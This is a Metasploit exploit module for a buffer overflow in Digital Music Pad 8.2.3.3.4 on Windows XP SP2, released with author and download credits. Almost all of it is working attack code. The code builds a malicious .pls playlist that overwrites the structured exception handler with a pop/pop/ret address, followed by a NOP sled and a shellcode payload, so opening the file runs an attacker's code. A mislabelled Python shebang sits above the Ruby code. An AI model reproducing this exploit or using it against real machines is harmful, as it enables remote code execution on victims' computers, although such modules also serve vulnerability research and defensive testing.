#Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module
#Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com
#Web - http://www.aslitsecurity.com/
#Blog - http://www.aslitsecurity.blogspot.com/
#Download Vulnerable application from http://www.e-soft.co.uk/DigitalMusicPad82334Setup.exe
#Vulnerable versionDigital Music Pad Version 8.2.3.3.4
#Tested on XP SP2
#Greets Corelan Team, Puneet Jain ASL IT SECURITY TEAM
#!/usr/bin/python
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Digital Music Pad Version 8.2.3.3.4 SEH overflow',
'Description' => %q{
This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4
When opening a malicious pls file with the Digital Music Pad,
a remote attacker could overflow a buffer and execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'Abhishek Lyall',
'References' =>
[
[ 'OSVDB', '' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 4720,
'BadChars' => "\x00\x20\x0a\x0d",
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2', { 'Ret' => 0x73421DEF} ], # p/p/r msvbvm60.dll
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']),
], self.class)
end
def exploit
sploit = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D" #PLS Header
sploit << rand_text_alphanumeric(260)
sploit << "\xeb\x06\x90\x90" # short jump 6 bytes
sploit << [target.ret].pack('V')
sploit << "\x90" * 12 # nop sled
sploit << payload.encoded
sploit << "\x90" * (4720 - payload.encoded.length)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end